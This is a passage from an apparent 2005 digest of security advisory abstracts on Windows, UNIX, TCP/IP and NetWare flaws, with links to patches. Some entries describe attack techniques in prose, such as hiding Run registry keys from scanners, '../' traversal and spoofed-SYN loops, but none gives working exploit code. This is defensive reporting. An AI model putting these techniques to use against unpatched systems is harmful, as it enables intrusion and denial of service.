DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0306>

MICROSOFT JET DATABASE ENGINE DB FILE BUFFER OVERFLOW VULNERABILITY

A new vulnerability was identified in Microsoft Jet, which may be exploited by attackers to execute arbitrary commands. The flaw resides in the "msjet40.dll" library, and occurs when handling a specially crafted "mdb" file, which may be exploited by attackers to compromise a vulnerable system by convincing a user to open a malicious database file with a vulnerable application. No solution is currently available.

Category 24.2 Windows NT/2K/XP

2005-04-08 **Microsoft Windows Domain Name resource cache corruption vulnerability NT 2000 2K spoofed DNS response update issued**

DHS IAIP Daily; <http://www.securityfocus.com/bid/6791/discussion/>

MICROSOFT WINDOWS DNS RESOURCE RECORD CACHE CORRUPTION VULNERABILITY

A vulnerability has been discovered in the DNS server on the Windows NT and Windows 2000 operating systems. The problem occurs in the caching of glue records. It has been reported that glue records received from non-delegated name servers will be cached by default. This may allow for a malicious server to respond to a legitimate DNS query with a spoofed DNS response, designed to contain the necessary glue record characteristics. Solution available at: <http://support.microsoft.com/kb/241352/EN-US/>

Category 24.2 Windows NT/2K/XP
2005-08-26 **Microsoft Windows 2000 2K XP design flaw hackers hide malicious code anti-virus scanner registry**

DHS IAIP Daily;
<http://www.techweb.com/showArticle.jhtml?articleID=170100835>

WINDOWS FLAW MAY LET HACKERS HIDE CODE FROM ANTI-VIRUS SCANNERS

A flaw in how Windows handles entries in the all-important registry can be used by hackers to hide evidence of malicious code from a wide swath of commercial anti-virus and anti-spyware scanners, the SANS Internet Storm Center reported Friday, August 26. Extra-long key entries (those greater than 254 characters) are mishandled by the Windows registry editor, and essentially "disappear" from view, as do others added to the key after that because the editor stops at that too-long key, thinking it is the last in the section. Worse, many malicious code scanners have a similar blind spot, and also stop processing the registry for anomalous entries when they come to a too-long key. The technique would let attackers add their malicious software to the "Run" registry key which lists the programs or components that automatically launch at Windows' boot. The weakness, said Secunia, affects Windows 2000 and XP, including fully patched XP SP2 systems.

Category 24.2 Windows NT/2K/XP
2005-10-03 **error-handling code systems engineering software design quality assurance QA operating system file system inconsistency**

RISKS 24 06

INCONSISTENT ERROR-HANDLING CODE IN WINDOWS

In the Windows XP command interpreter CMD.EXE (the default command line shell) one can specify multiple arguments to the DEL(ete) command, in order to delete multiple files. If at least one of the files can be deleted, the command will not complain about any nonexistent files specified as arguments. For example:

```
C:\> echo.>foo  
C:\> del nonexistent foo  
C:\> del nonexistent  
Could Not Find C:\nonexistent
```

This behavior is non-orthogonal and risky. If one mistypes the name of one of several files that are to be deleted, that file will silently continue to exist. The same will happen if one of the files has the hidden attribute set: DEL will silently ignore it, rather than issue an error message. Although one should not depend on a delete command to reliably obliterate data, the current behavior can lead to difficult-to-locate bugs, especially in scripts.

Further examination of the command reveals other instances of non-orthogonal behavior. When specifying multiple non-existent files as arguments, DEL will complain only about the first one, but when specifying multiple files with the read-only attribute set, DEL will complain about each one. Also DEL, never sets the ERRORLEVEL environment variable to indicate an error, although other commands, like DIR, set it correctly.

The logic behind a correctly-operating implementation of DEL is trivial.

```
Errorlevel = 0  
foreach filename  
    if not delete(filename) then  
        display_error_message(filename)  
        errorlevel = 1  
    end if  
end foreach  
exit(errorlevel)
```

If a central and critical piece of the Windows operating system, such as the command shell, can't get the above logic right, what are the chances of having in the system a secure TCP/IP stack, web browser, or firewall?

[Analysis by Diomidis Spinellis]

Category 24.2 *Windows NT/2K/XP*
2005-10-28 **operating system kernel deficiencies compensation ring authorization run-time limitations malicious software malware virus worm Windows**

<http://www.computerworld.com/printhis/2005/0,4814,105776,00.html>

AXE RUNTIME SUPPLEMENTS WINDOWS KERNEL

Researchers Amit Singh, Anurag Sharma and Steve Welch of IBM's Almaden Lab announced their "Axe runtime" package -- standing for "Assured Execution Environment" -- at the end of October 2005. The package provides the missing pieces for the Windows kernel: a security ring structure differentiating between authorized and unauthorized software. Only authorized software can run on the system being controlled by Axe and the authors claim that malware authors will find it almost impossible to gain authorization for their malicious code.

Category 24.2 *Windows NT/2K/XP*
2005-12-28 **Technical Cyber Security Alert Microsoft Windows Metafile Handling Buffer Overflow image files vector bitmap picture information arbitrary updated patches software products detect**

DHS IAIP Daily; <http://www.us-cert.gov/cas/techalerts/TA05-362A.html>

**TECHNICAL CYBER SECURITY ALERT TA05-362A:
MICROSOFT WINDOWS METAFILE HANDLING BUFFER OVERFLOW.**

Microsoft Windows Metafiles are image files that can contain both vector and bitmap-based picture information. Microsoft Windows contains routines for displaying various Windows Metafile formats. However, a lack of input validation in one of these routines may allow a buffer overflow to occur, and in turn may allow remote arbitrary code execution. This new vulnerability may be similar to one Microsoft released patches for in Microsoft Security Bulletin MS05-053. However, publicly available exploit code is known to affect systems updated with the MS05-053 patches. Not all anti-virus software products are currently able to detect all known variants of exploits for this vulnerability. However, US-CERT recommends updating anti-virus signatures as frequently as practical to provide maximum protection as new variants appear. There is no known patch for this issue at this time. Information on potential workarounds is available on the US-CERT Website. Microsoft Security Bulletin MS05-053: <http://www.microsoft.com/technet/security/Bulletin/MS05-053.mspx> US-CERT Vulnerability Note VULNERABILITY#181038, Microsoft Windows Metafile handler buffer overflow: <http://www.kb.cert.org/vuls/id/181038> CVE-2005-4560: <http://nvd.nist.gov/nvd.cfm?cvename=CVE-2005-4560>

Category 24.2 *Windows NT/2K/XP*
2005-12-28 **Microsoft Windows metafile handling buffer overflow vulnerability**

DHS IAIP Daily; <http://www.microsoft.com/technet/security/Bulletin/MS05-053.mspx>

**TECHNICAL CYBER SECURITY ALERT TA05-362A:
MICROSOFT WINDOWS METAFILE HANDLING BUFFER OVERFLOW.**

Microsoft Windows Metafiles are image files 14 that can contain both vector and bitmap-based picture information. Microsoft Windows contains routines for displaying various Windows Metafile formats. However, a lack of input validation in one of these routines may allow a buffer overflow to occur, and in turn may allow remote arbitrary code execution. This new vulnerability may be similar to one Microsoft released patches for in Microsoft Security Bulletin MS05-053. However, publicly available exploit code is known to affect systems updated with the MS05-053 patches. Not all anti-virus software products are currently able to detect all known variants of exploits for this vulnerability. However, US-CERT recommends updating anti-virus signatures as frequently as practical to provide maximum protection as new variants appear. There is no known patch for this issue at this time. Information on potential workarounds is available on the US-CERT Website. Microsoft Security Bulletin MS05-053: <http://www.microsoft.com/technet/security/Bulletin/MS05-053.mspx> US-CERT Vulnerability Note VU#181038, Microsoft Windows Metafile handler buffer overflow: <http://www.kb.cert.org/vuls/id/181038> CVE-2005-4560: <http://nvd.nist.gov/nvd.cfm?cvename=CVE-2005-4560>

24.3 UNIX flavors

Category 24.3

UNIX flavors

2005-01-11

Sun Alert user account creation Solaris operating system quality assurance failure

DHS IAIP Daily; <http://sunsolve.sun.com/search/document.do?assetkey=1-26-57717-1>

SMC DEFAULT CONFIGURATION GUI CREATES USER ACCOUNTS WITH BLANK PASSWORD INSTEAD OF LOCKED ACCOUNT

User accounts created with the Solaris Management Console (SMC) GUI which are configured for password aging (the shadow(4) fields and fields will be set) may allow login without specifying a password. This issue can occur when a user account is created with SMC (default configuration) with aging fields set and no password supplied. The user account (when being created) is not prompted for a password. To work around the described issue, always supply a password while creating user accounts with SMC (locked by default).

Category 24.3

UNIX flavors

2005-01-11

Linux kernel multiple vulnerabilities exploit information disclosure privilege escalation

DHS IAIP Daily; <http://secunia.com/advisories/13784/>

LINUX KERNEL MULTIPLE VULNERABILITIES

Multiple vulnerabilities have been reported in the Linux kernel, which potentially can be exploited by malicious, local users to cause a denial of service, disclose sensitive information, or gain escalated privileges on a vulnerable system. The solution is to grant only trusted users access to affected systems.

Category 24.3

UNIX flavors

2005-01-11

Netscape Directory Server access control stack buffer overflow vulnerability denial of service DoS code execution attack

DHS IAIP Daily; <http://rhn.redhat.com/errata/RHSA-2005-030.html>

STACK BUFFER OVERFLOW IN THE NETSCAPE DIRECTORY SERVER ACCESS CONTROL CODE.

A stack buffer overflow was found in the access control code in Netscape Directory Server 6.21 and earlier. A remote attacker who can communicate with the LDAP service could trigger this flaw by creating a carefully crafted attribute change request. A successful exploit would lead to a denial of service (crash) or potentially to remote code execution on the server. Patches in the form of updated libraries that correct this issue are available on request from the Red Hat Security Response Team. Please contact secalert@redhat.com

Category 24.3

UNIX flavors

2005-01-12

Linux kernel multiprocessor page fault privilege escalation vulnerability no update issued

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Jan/1012862.html>

LINUX KERNEL MULTIPROCESSOR PAGE FAULT HANDLER RACE CONDITION LETS LOCAL USERS GAIN ELEVATED PRIVILEGES

A vulnerability was reported in the Linux kernel in the page fault handler code for multiprocessor systems. A local user can obtain root privileges. If two concurrent threads share the same virtual memory space and request stack expansion at the same time, a race condition can be exploited on multiprocessor systems. A local user can cause arbitrary memory contents to be injected into memory locations used by a set user id (setuid) application to execute arbitrary code with elevated privileges. The flaw resides in the `down_read()` function in '`arch/i386/mm/fault.c`'. No upstream solution is currently available.

Category 24.3

UNIX flavors

2005-01-13

SGI IRIX operating system design error vulnerability code execution attack no update issued

DHS IAIP Daily; <http://idefense.com/application/poi/display?id=182&type=vulnerabilities&flashstatus=true>

SGI IRIX INPVIEW DESIGN ERROR VULNERABILITY.

Local exploitation of a design error vulnerability in the inpview command included in multiple versions of Silicon Graphics Inc.'s IRIX could allow for arbitrary code execution as the root user. All that is required to exploit this vulnerability is a local account and an open X display, which could be the attacker's home machine or another compromised system. Exploitation does not require any knowledge of application internals, making privilege escalation trivial, even for unskilled attackers. Support for the InPerson product did not extend beyond 02/2002 as noted in the following publication: techpubs.sgi.com/library/manuals/4000/007-4526-001/pdf/007-4526-001.pdf. As a result, no patch will be issued for this vulnerability. A workaround is available on the iDefense Website.

Category 24.3

UNIX flavors

2005-01-28

HP-UX TGA daemon vulnerability denial of service DoS attack

DHS IAIP Daily; <http://www.k-otik.com/english/advisories/2005/0076>

HP-UX TGA DAEMON REMOTE DENIAL OF SERVICE VULNERABILITY

A new security vulnerability has been identified in HP-UX, which may be exploited by remote attackers to conduct denial of service attacks. The problem is caused due to an unspecified error in the TGA daemon when handling certain network traffic, which may be exploited to cause a vulnerable system to stop responding. Original advisory and solution available at: <http://www5.itrc.hp.com/service/cki/docDisplay.do?admit=5522 67591+1106928673434+28353475&docId=HPSBUX01111>

Category 24.3

UNIX flavors

2005-02-01

AIX network information server NIS vulnerability client system compromise code execution root privilege update issued

DHS IAIP Daily; <http://secunia.com/advisories/14095/>

AIX UNSPECIFIED NIS CLIENT SYSTEM COMPROMISE VULNERABILITY

A vulnerability has been reported in AIX 5.3, which can be exploited by malicious people to compromise a vulnerable system. The vulnerability is caused due to an unspecified error allowing execution of arbitrary code with root privileges. Successful exploitation requires that the system has been configured as a NIS client. Apply Efix for AIX 5.3.0:

Category 24.3

UNIX flavors

2005-02-03

Sun Solaris Samba integer overflow vulnerability smbd daemon command execution attack update issued

DHS IAIP Daily; <http://sunsolve.sun.com/search/document.do?assetkey=1-26-577 30-1>

SUN SOLARIS SAMBA INTEGER OVERFLOW VULNERABILITY

Sun has acknowledged a vulnerability in Solaris, which can be exploited by malicious users to compromise a vulnerable system. An integer overflow security issue with the Samba(7) smbd(1m) daemon may allow a local or remote authenticated user the ability to execute arbitrary commands with the privileges of Super User (typically root), on a Solaris 9 system running as a Samba(7) server. Solution available through Source link below.

Category 24.3

UNIX flavors

2005-02-10

IBM AIX operating system vulnerability file access root privileges solution issued

DHS IAIP Daily; <http://www.idefense.com/application/poi/display?type=vulnerabilities>

IBM AIX MULTIPLE VULNERABILITIES

Multiple vulnerabilities in IBM AIX can be exploited to potentially allow a malicious user to read one line of any file on the system, regardless of permissions, and in some cases, gain root access on the system. Solution available to registered users at: <https://techsupport.services.ibm.com>

Category 24.3 UNIX flavors

2005-02-15 **Sun Solaris operating system crash vulnerability ARP packet processing denial of service DoS condition update issued**

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Feb/1013179.html>

LINUX SOLARIS CAN BE CRASHED BY A REMOTE USER SENDING A FLOOD OF ARP PACKETS

A vulnerability was reported in Sun Solaris in the processing of ARP packets. A remote user can cause denial of service conditions. A remote user on a local network can send a large number of specific ARP packets to cause the target system to hang. Updates and original advisory at: http://classic.sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsal_ert%2F57673

Category 24.3 UNIX flavors

2005-02-15 **Linux kernel proc filesystem signed integer error buffer overflow vulnerability code execution privilege escalation attack update issued**

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Feb/1013188.html>

LINUX KERNEL '/PROC' SIGNED INTEGER ERRORS LET LOCAL USERS EXECUTE ARBITRARY CODE

A vulnerability was reported in the Linux kernel in '/proc'. A local user can execute arbitrary code or view kernel memory to gain elevated privileges. A local user can trigger a buffer overflow or view kernel memory. Some flaws reside in the `proc_file_read()` function in 'fs/proc/generic.c', where a call to `min_t()` uses an incorrect integer definition, and in the `locks_read_proc()` function where an integer parameter is incorrectly defined. A local user can trigger a buffer overflow. The vendor has released a fixed version (2.6.11-rc4), available at: <http://www.kernel.org/>

Category 24.3 UNIX flavors

2005-02-16 **Linux kernel multiple vulnerabilities sensitive information disclosure denial of service DoS**

DHS IAIP Daily; <http://secunia.com/advisories/14295/>

LINUX KERNEL MULTIPLE VULNERABILITIES.

Multiple vulnerabilities have been reported in the Linux kernel. These can be exploited by malicious, local users to gain knowledge of potentially sensitive information or cause a DoS (Denial of Service), or by malicious people to cause a DoS or bypass certain security restrictions. There is no complete solution at this time.

Category 24.3 UNIX flavors

2005-02-28 **Debian Linux operating system bsmtpd vulnerability command injection execution attack update issued**

DHS IAIP Daily; <http://secunia.com/advisories/14412>

DEBIAN BSMTPD ARBITRARY COMMAND INJECTION VULNERABILITY

A vulnerability has been reported in bsmtpd, which can be exploited by malicious people to compromise a vulnerable system. The vulnerability is caused due to lack of sanitation of email addresses. This can be exploited to execute arbitrary commands. Original Advisory and updates available: <http://www.debian.org/security/2005/dsa-690>

Category 24.3 UNIX flavors

2005-03-31 **Linux kernel deadlock error denial of service DoS condition futex function update issued**

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Mar/1013616.html>

LINUX KERNEL DEADLOCK ERROR IN FUTEX FUNCTIONS LET LOCAL USERS DENY SERVICE.

A vulnerability was reported in the Linux kernel futex functions. A local user can cause the kernel to crash. The vulnerability resides in 'kernel/futex.c.' A development patch (and changeset) is available, as described at: <http://lkml.org/lkml/2005/2/22/185>

Category 24.3 UNIX flavors

2005-04-19 **Sun Solaris operating system local user hijack non-privileged port services**

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Apr/1013760.html>

SUN SOLARIS MAY LET LOCAL USERS HIJACK NON-PRIVILEGED PORT SERVICES

A vulnerability was reported in Sun Solaris. A local user may be able to start a process that binds to a non-privileged network port to hijack future connections to the service that typically runs on that port. Only network services that run on non-privileged ports (e.g., NFS, NIS) are affected. Updates available: sunsolve.sun.com/search/document.do?assetkey=1-26-57766-1

Category 24.3 UNIX flavors

2005-04-25 **Citrix program neighborhood buffer overflow vulnerability command execution attack update issued**

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0390>

CITRIX PROGRAM NEIGHBORHOOD AGENT BUFFER OVERFLOW VULNERABILITIES

Two vulnerabilities were identified in Citrix Program Neighborhood Agent, which may be exploited by remote attackers to execute arbitrary commands. Update to Citrix Program Neighborhood Agent for Win32 version 9.0 and later or Citrix MetaFrame Presentation Server client for WinCE version 8.33 and later. Updates: <http://www.citrix.com/English/SS/downloads/downloads.asp?dID=2755>

Category 24.3 UNIX flavors

2005-04-26 **Sun Solaris operating system LibTIFF vulnerabilities hijack connections update issued**

DHS IAIP Daily; <http://seunia.com/advisories/15113/>

SUN SOLARIS MULTIPLE LIBTIFF VULNERABILITIES

Multiple vulnerabilities have been reported in LibTIFF, which potentially can be exploited by malicious people to compromise a user's system or cause a DoS (Denial of Service). A local user may be able to start a process that binds to a non-privileged network port to hijack future connections to the service that typically runs on that port. Original advisory and updates: <http://sunsolve.sun.com/search/document.do?assetkey=1-26-57769-1>

Category 24.3 UNIX flavors

2005-04-26 **Citrix neighborhood agent buffer overflow vulnerability code execution shortcut creation attack update issued**

DHS IAIP Daily;

<http://www.securiteam.com/windowsntfocus/5HP0R20FFE.html>

CITRIX NEIGHBORHOOD AGENT BUFFER OVERFLOW AND ARBITRARY SHORTCUT CREATION

Remote exploitation of a design error in Citrix Program Neighborhood Agent allows attackers to execute arbitrary code under the privileges of the client user and to create arbitrary shortcuts under the privileges of the client user. Exploitation requires that an attacker establish a malicious server and cause or convince the target user to connect to it via the Program Neighborhood Agent. This can be accomplished by social engineering or automatically when combined with a DNS or ARP spoofing attack. Updates available: <http://www.citrix.com/English/SS/downloads/downloads.asp?dID=2755>

Category 24.3 UNIX flavors

2005-05-17 **Linux kernel locally exploitable flaws no update issued**

DHS IAIP Daily; <http://www.securiteam.com/unixfocus/5GP0F20FQI.html>

LINUX KERNEL PKTCDVD AND RAWDEVICE IOCTL RACE CONDITION

Two locally exploitable flaws have been found in the Linux rawdevice and pktcdvd block device ioctl handler that allows local users to gain root privileges and also execute arbitrary code at kernel privilege level. The Linux kernel contains pktcdvd and rawdevice block device components. Due to the missing checks in pktcdvd and rawdevice ioctl handler parameter, the process can break user space limit and execute arbitrary code at kernel privilege level. There is no solution at this time.

Category 24.3

UNIX flavors

2005-06-15

vulnerability hole remote buffer overflow ViRobot Linux server no solution

DHS IAIP Daily; <http://www.securityfocus.com/bid/13964/exploit>

VIROBOT LINUX SERVER REMOTE BUFFER OVERFLOW VULNERABILITY

ViRobot Linux Server is prone to a remote buffer overflow vulnerability affecting the Web based management interface. This issue presents itself because the application fails to perform boundary checks prior to copying user supplied data into sensitive process buffers. An attacker can gain unauthorized access to a vulnerable computer by supplying malformed values through cookies. There is no solution at this time.

Category 24.3

UNIX flavors

2005-11-01

vulnerability hole Linux kernel buffer overflow fixed update

DHS IAIP Daily; <http://secunia.com/advisories/17384/>

LINUX KERNEL POTENTIAL BUFFER OVERFLOW VULNERABILITIES

Two vulnerabilities have been reported in the Linux Kernel. Currently they have an unknown impact. The first includes a boundary error due to missing parameter validation in the "map_to_seg70" function in "drivers/usb/input/map_to_7segment.h" of the Yealink driver may cause out-of-bound memory references. The second vulnerability is a boundary error in "/drivers/i2c/i2c-core.c" when handling SMBus Block Write transactions may cause a buffer overflow. According to Secunia the vulnerabilities have been fixed in version 2.6.14-git4.

Category 24.3

UNIX flavors

2005-11-02

vulnerability multiple NetBSD fix patch update

DHS IAIP Daily; <http://secunia.com/advisories/17389/>

NETBSD UPDATE FIXES MULTIPLE VULNERABILITIES

There have been vulnerabilities reported in NetBSD. These vulnerabilities could be exploited by malicious, local users to gain escalated privileges, or by malicious users to cause a Denial of Service and compromise a vulnerable system, or by attacker's attempting to bypass security restrictions and compromise a user's system. According to Secunia, the vulnerabilities have been fixed NetBSD-current (October 31, 2005) and NetBSD-1.6 branch (November 1, 2005).

Category 24.3

UNIX flavors

2005-12-22

Linux kernel remote denial of service vulnerability memory crash user address issue Ubuntu

DHS IAIP Daily; <http://www.securityfocus.com/bid/16044/references>

Linux kernel ICMP_Push_Reply remote denial of service vulnerability.

Linux kernel is prone to a remote denial of service vulnerability. Remote attackers can exploit this to leak kernel memory. Successful exploitation will result in a crash of the kernel, effectively denying service to legitimate users. Solution: Linux kernel version 2.6.12.6 has been released to address this issue. Ubuntu Linux has released advisory USN-231-1, along with fixes to address various kernel issues. For further solution detail refer to: <http://www.securityfocus.com/bid/16044/solution>

Category 24.3

UNIX flavors

2005-12-22

Linux kernel socket buffer memory exhaustion denial of service vulnerability check memory resource

DHS IAIP Daily; <http://www.securityfocus.com/bid/16041/references>

Linux kernel local socket buffer memory exhaustion denial of service vulnerability.

Linux kernel is susceptible to a local denial of service vulnerability. The issue is due to a failure of the kernel to properly check and enforce memory resource constraints. This is triggered by consuming excessive kernel memory by creating multiple sockets with large kernel buffers; this allows local attackers to consume excessive kernel memory, eventually leading to an out of memory condition, and a denial of service for legitimate users.

Category 24.3

UNIX flavors

2005-12-24

Sun Solaris PC Netlink vulnerabilities elevated privileges flaws script command files opened insecurely filesystem permission arbitrary commands solution patches

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/3083>

Sun Solaris PC Netlink "slsadmin" and "slsmgr" local vulnerabilities.

Two vulnerabilities were identified in PC Netlink for Solaris, which could be exploited to obtain elevated privileges. These flaws are due to errors in the "/etc/init.d/slsadmin" script and the "/opt/lanman/sbin/slsmgr" command that allow files to be opened insecurely, which could be exploited to write to the filesystem with the permissions of the user running "slsadmin" or "slsmgr", and execute arbitrary commands with "root" privileges (when "slsadmin" or "slsmgr" are run as "root"). Affected products are PC NetLink 2.0 (for Solaris SPARC 7, 8 and 9). FrSIRT reports that a solution is available; apply patches 121332-01 and 121209-01. Solution: <http://sunsolve.sun.com/search/document.do?assetkey=urn:cds: docid:1-21-121332-01-1> <http://sunsolve.sun.com/search/document.do?assetkey=urn:cds: docid:1-21-121209-01-1>

24.4 TCP/IP & HTTP

*Category 24.4**TCP/IP & HTTP*

2005-02-15

Sami HTTP server input validation vulnerability directory traversal attack no update issuedDHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Feb/1013191.html>

SAMI HTTP SERVER INPUT VALIDATION VULNERABILITIES

A remote user can view files on the target system or cause the web service to crash by sending a specially crafted HTTP request containing '../' directory traversal characters to obtain files on the system that are located outside of the web document directory. Encoded directory traversal characters can also be used. The user can also send an HTTP request to cause the web service to crash. There is no solution at this time.

*Category 24.4**TCP/IP & HTTP*

2005-02-16

Hewlett-Packard HP Web-enabled Management Software HTTP buffer overflow vulnerability code execution attack update issuedDHS IAIP Daily; <http://secunia.com/advisories/14311/>

HP WEB-ENABLED MANAGEMENT SOFTWARE HTTP SERVER BUFFER OVERFLOW

A vulnerability has been reported in HP HTTP Server, which can be exploited by malicious people to compromise a vulnerable system. The vulnerability is caused due to an unspecified boundary error within the handling of input parameters and can be exploited to cause a buffer overflow. Successful exploitation may allow execution of arbitrary code. Update to HP HTTP Server 5.96 or Systems Management Homepage version 2.0. Management Software Security Patch for Windows Version 5.96: <http://h18023.www1.hp.com/support/files/Server/us/download/22192.html>

*Category 24.4**TCP/IP & HTTP*

2005-02-22

PuTTY shell integer overflow vulnerabilities code execution attack update issuedDHS IAIP Daily; <http://secunia.com/advisories/14333/>

TWO NEW VULNERABILITIES HAVE BEEN REPORTED IN PUTTY

The first vulnerability is an integer overflow in the "fxp_readdir_recv()" function in "sftp.c" that can be exploited to execute arbitrary code via a malicious SFTP (SSH File Transfer Protocol) server sending a specially crafted respond to the "FXP_READDIR" command. The second is an integer overflow in the "fxp_open_recv()" function in "sftp.c" that can be exploited to execute arbitrary code via a malicious SFTP server sending a specially crafted string field. Successful exploitation is only possible after host key verification. Update to version 0.57: <http://www.chiark.greenend.org.uk/~sgtatham/putty/download.hml>

*Category 24.4**TCP/IP & HTTP*

2005-03-30

Telnet client heap based buffer overflow multiple vulnerabilities command execution attack update issuedDHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0300>

MULTIPLE TELNET CLIENTS BUFFER OVERFLOW VULNERABILITIES

Two vulnerabilities were identified in several Telnet clients, which may be exploited by attackers to execute arbitrary commands. The first flaw is due to a heap overflow error in the "env_opt_add()" function (telnet.c), which may be exploited to execute arbitrary commands in the context of the user who launched the telnet client. The second vulnerability is due to a buffer overflow error when handling LINEMODE suboptions and processing replies containing a large number of SLC (Set Local Character) commands, which may be exploited to execute arbitrary commands in the context of the user who launched the telnet client. Solutions available through Source link below.

<i>Category</i> 24.4	<i>TCP/IP & HTTP</i>
2005-03-30	Kerberos MIT open source authentication application telnet client heap based buffer overflow vulnerabilities update issued

DHS IAIP Daily; <http://secunia.com/advisories/14745/>

MIT KERBEROS TELNET CLIENT HAS BUFFER OVERFLOW VULNERABILITIES

Two vulnerabilities have been reported in Kerberos V5, which can be exploited by malicious people to compromise a vulnerable system. A boundary error in the "slc_add_reply()" function in the included telnet client when handling LINEMODE sub-options can be exploited to cause buffer overflow via a specially crafted reply containing a large number of SLC (Set Local Character) commands. A boundary error in the "env_opt_add()" function in the included telnet client when handling NEW-ENVIRON sub-options can be exploited to cause a heap-based buffer overflow via a specially crafted reply containing a large number of characters that need escaping. Original advisory and patch available at:
http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2005-0_01-telnet.txt

<i>Category</i> 24.4	<i>TCP/IP & HTTP</i>
2005-04-13	Internet Protocol IP Control Message Protocol ICMP flaw attack router Internet software UK short term denial of service DoS

DHS IAIP Daily;
http://www.infoworld.com/article/05/04/13/HNipflaw_1.html?SE CURITY

IP FLAW COULD ALLOW ATTACKS ON ROUTERS AND INTERNET SOFTWARE

The UK's National Infrastructure Co-Ordination Center (NISCC) has warned of a flaw in Internet Protocol (IP) that could allow significant attacks on a wide range of products, including routers and Internet software from Microsoft, Cisco Systems, IBM, Juniper Networks, and others. While the flaw in ICMP, IP's control protocol, will be only moderately critical for some vendors' products, in others it could allow a denial-of-service attack with medium-term effects, effectively putting the system out of commission for a significant period of time while it is reset, the NISCC said in an advisory. In other products, attacks could merely slow down traffic or result in short-term denial-of-service. "Most vendors include support for this protocol in their products and may be impacted to varying degrees," the agency said in its advisory. NISCC Advisory:
<http://www.niscc.gov.uk/niscc/docs/al-20050412-00308.html?lang=en>

<i>Category</i> 24.4	<i>TCP/IP & HTTP</i>
2005-04-14	Transmission Control Protocol TCP sequence number approximation vulnerability reset session update issued

DHS IAIP Daily; <http://www.securityfocus.com/bid/10183/info/>

MULTIPLE VENDOR TCP SEQUENCE NUMBER APPROXIMATION VULNERABILITY

A vulnerability in TCP implementations has been reported that may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. This issue may permit TCP sequence numbers to be more easily approximated by remote attackers. Vendor advisories and solutions through Source link.

<i>Category</i> 24.4	<i>TCP/IP & HTTP</i>
2005-05-09	Internet Protocol Security IPSec information disclosure vulnerability

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0507>

IPSEC ESP CONFIGURATIONS INFORMATION DISCLOSURE VULNERABILITY

Three vulnerabilities were identified in certain configurations of IPSec, which may be exploited by attackers to disclose sensitive information. These attacks are possible when IPSec uses Encapsulating Security Payload (ESP) in tunnel mode with confidentiality only, or with integrity protection being provided by AH or a higher layer protocol. A remote attacker that is able to intercept and modify IPSec and ICMP communications between security gateways, could exploit this vulnerability and perform "Destination Address Rewriting", "IP Options modification", and "Protocol Field modification" attacks, which will cause the plaintext version of the IPsec communications between the protocols to be disclosed. See Source link for suggested workarounds.

Category 24.4 *TCP/IP & HTTP*
2005-05-17 **Internet Protocol IPv6 TCP IP LAN denial of service DoS Microsoft vulnerability**
DHS IAIP Daily; <http://www.securityfocus.com/bid/13658/info/>
MICROSOFT IPV6 TCPIP LOOPBACK LAND DENIAL OF SERVICE VULNERABILITY

The Microsoft Windows IPV6 TCP/IP stack is prone to a "loopback" condition initiated by sending a TCP packet with the "SYN" flag set and the source address and port spoofed to equal the destination source and port. When a packet of this type is handled, an infinite loop is initiated and the affected system halts. A remote attacker may exploit this issue to deny service for legitimate users. There is no solution at this time.

Category 24.4 *TCP/IP & HTTP*
2005-07-27 **IPSec Incorection networking AES XCBC MAC algorithm encryption forge packets disclosure privilege**
DHS IAIP Daily; <http://www.zone-h.org/advisories/read/id=7851>
IPSEC INCORRECT KEY USAGE IN AES-XCBC-MAC

IPsec is a security protocol for the Internet Protocol networking layer. It provides a combination of encryption and authentication of system, using several possible cryptography algorithms. A programming error in the implementation of the AES-XCBC-MAC algorithm for authentication resulted in a constant key being used instead of the key specified by the system administrator. If the 10 AES-XCBC-MAC algorithm is used for authentication in the absence of any encryption, then an attacker may be able to forge packets which appear to originate from a different system and thereby succeed in establishing an IPsec session. If access to sensitive information or systems is controlled based on the identity of the source system, this may result in information disclosure or privilege escalation.

Category 24.4 *TCP/IP & HTTP*
2005-08-03 **domain name system DNS services WWW Internet vulnerable cache poisoning**
EDUPAGE; http://news.com.com/2100-7349_3-5816061.html
RESEARCHER SAYS DNS SERVERS VULNERABLE

In a presentation at the Black Hat conference last week, security researcher Dan Kaminsky argued that domain name system (DNS) servers represent a broad vulnerability in the Internet. Kaminsky said that of 2.5 million DNS servers he tested, nearly 10 percent could be susceptible to so-called DNS cache poisoning. In total, about 9 million DNS servers are operating globally. DNS servers translate typed URLs into numbers necessary to locate Web sites. In cache poisoning, legitimate numeric Web addresses are replaced, causing users to be redirected to sites of the hacker's choosing. Often, users are sent to Web sites that install malware or that deceive users into disclosing personal information, which can then be used in identity theft. Incidents of cache poisoning have disrupted Internet service in the past, including this March, when users trying to access CNN.com and MSN.com were sent to sites that installed spyware. Security experts advise operators of DNS servers to audit their machines and make sure they configure them in the safest manner possible.

CNET, 3 August 2005

24.5 LAN OS

Category 24.5 LAN OS

2005-01-11 **Novell NetWare CIFS.NLM software denial of service DoS vulnerability update issued**

DHS IAIP Daily; <http://www.securitytracker.com/alerts/2005/Jan/1012817.html>

NETWARE RUNNING CIFS.NLM. A DENIAL OF SERVICE VULNERABILITY WAS REPORTED IN NETWARE WHEN RUNNING CIFS.NLM

A remote user can conduct a network port scan against the target system to cause the target system to 'hard lock' if the system is running CIFS.NLM at the time of the scan. This creates a denial of service condition. As a solution, the vendor has issued a CIFS update for NetWare 5.1 and 6.0, described at: <http://support.novell.com/cgi-bin/search/searchtid.cgi?/2970 488.htm>

Category 24.5 LAN OS

2005-01-26 **Cisco Internetwork Operating System IOS reload vulnerability denial of service DoS update issued**

DHS IAIP Daily; <http://www.us-cert.gov/cas/techalerts/TA05-026A.html>

MULTIPLE DENIAL-OF-SERVICE VULNERABILITIES IN CISCO IOS

